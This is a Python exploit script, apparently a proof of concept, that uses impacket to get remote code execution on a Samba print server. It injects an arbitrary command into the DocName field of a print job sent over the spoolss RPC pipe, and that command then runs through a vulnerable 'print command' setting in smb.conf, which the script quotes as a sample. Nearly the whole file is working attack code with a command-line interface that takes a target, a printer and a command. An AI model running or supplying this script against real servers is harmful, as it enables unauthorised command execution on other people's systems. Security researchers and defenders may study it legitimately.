import argparse
from impacket.dcerpc.v5.dtypes import LPWSTR, DWORD, ULONG, NULL
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRUNION, NDRPOINTER
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.rprn import PRINTER_HANDLE, BYTE_ARRAY, checkNullString, hRpcOpenPrinter, hRpcClosePrinter

# vulnerable configuration for smb.conf
"""
[global]
   printing = BSD
   print command = echo Printing %s %J >> /tmp/print.log; lpr -P %p %s; rm %s

[Printer]
   path = /var/tmp/
   printable = yes
"""

class DOC_INFO_1(NDRSTRUCT):
    structure = (
        ('pDocName',    LPWSTR),
        ('pOutputFile', LPWSTR),
        ('pDatatype',   LPWSTR),
    )

class PDOC_INFO_1(NDRPOINTER):
    referent = (
        ('Data', DOC_INFO_1),
    )

class DOC_INFO_UNION(NDRUNION):
    commonHdr = (
        ('tag', ULONG),
    )
    union = {
        1: ('pDocInfo1', PDOC_INFO_1),
    }

class DOC_INFO_CONTAINER(NDRSTRUCT):
    structure = (
        ('Level',   DWORD),
        ('DocInfo', DOC_INFO_UNION),
    )

class RpcStartDocPrinter(NDRCALL):
    opnum = 17
    structure = (
        ('hPrinter',         PRINTER_HANDLE),
        ('pDocInfoContainer', DOC_INFO_CONTAINER),
    )

class RpcStartDocPrinterResponse(NDRCALL):
    structure = (
        ('pJobId',    DWORD),
        ('ErrorCode', ULONG),
    )

class RpcWritePrinter(NDRCALL):
    opnum = 19
    structure = (
        ('hPrinter', PRINTER_HANDLE),
        ('pBuf',     BYTE_ARRAY),
        ('cbBuf',    DWORD),
    )

class RpcWritePrinterResponse(NDRCALL):
    structure = (
        ('pcWritten', DWORD),
        ('ErrorCode', ULONG),
    )

class RpcEndDocPrinter(NDRCALL):
    opnum = 23
    structure = (
        ('hPrinter', PRINTER_HANDLE),
    )

class RpcEndDocPrinterResponse(NDRCALL):
    structure = (
        ('ErrorCode', ULONG),
    )

def hRpcStartDocPrinter(dce, hPrinter, docName, outputFile=NULL, datatype=NULL):
    docInfo = DOC_INFO_1()
    docInfo['pDocName']    = checkNullString(docName) if docName is not NULL else NULL
    docInfo['pOutputFile'] = outputFile
    docInfo['pDatatype']   = datatype

    container = DOC_INFO_CONTAINER()
    container['Level']             = 1
    container['DocInfo']['tag']    = 1
    container['DocInfo']['pDocInfo1'] = docInfo

    request = RpcStartDocPrinter()
    request['hPrinter']          = hPrinter
    request['pDocInfoContainer'] = container

    return dce.request(request)


def hRpcWritePrinter(dce, hPrinter, data):
    request = RpcWritePrinter()
    request['hPrinter'] = hPrinter
    request['pBuf']     = data
    request['cbBuf']    = len(data)

    return dce.request(request)


def hRpcEndDocPrinter(dce, hPrinter):
    request = RpcEndDocPrinter()
    request['hPrinter'] = hPrinter

    return dce.request(request)

def connect(target, user, password):
    binding = f'ncacn_np:{target}[\\pipe\\spoolss]'
    connection = transport.DCERPCTransportFactory(binding)

    if user is not None and password is not None:
        print(f"Authenticating to {binding} as {user}")
        connection.set_credentials(user, password)
    else:
        print(f"Unauthenticated connection to {binding}")
    connection.connect()
    dce = connection.get_dce_rpc()
    dce.connect()
    dce.bind(rprn.MSRPC_UUID_RPRN)
    return dce

def exploit(dce, printer, command):
    response = hRpcOpenPrinter(dce, printer, accessRequired=rprn.PRINTER_ACCESS_USE)
    handle = response['pHandle']
    print(f"gained handle to {printer}")

    response = hRpcStartDocPrinter(dce, handle, docName=command)
    job_id = response['pJobId']
    print(f"created job #{job_id} for the printer")

    hRpcWritePrinter(dce, handle, b'\x01\x02\x03\x04')
    hRpcEndDocPrinter(dce, handle)
    print("ended the job to trigger command execution")

    hRpcClosePrinter(dce, handle)

def get_args():
    parser = argparse.ArgumentParser(description="Achieve remote code execution in samba print server by injecting a command into the DocName used by generic_job_submit")
    parser.add_argument("-u", "--user", help="Username for authentication")
    parser.add_argument("-p", "--password", help="Password for authentication")
    parser.add_argument("-s", "--server", required=True, help="samba print server address")
    parser.add_argument("-r", "--printer", required=True, help="Printer name")
    parser.add_argument("-c", "--command", required=True, help="Command to execute")
    args = parser.parse_args()
    return args

def main():
    try:
        args = get_args()
        dce = connect(args.server, args.user, args.password)
        exploit(dce, args.printer, args.command)
    except Exception as ex:
        print(ex)

if __name__ == "__main__":
    main()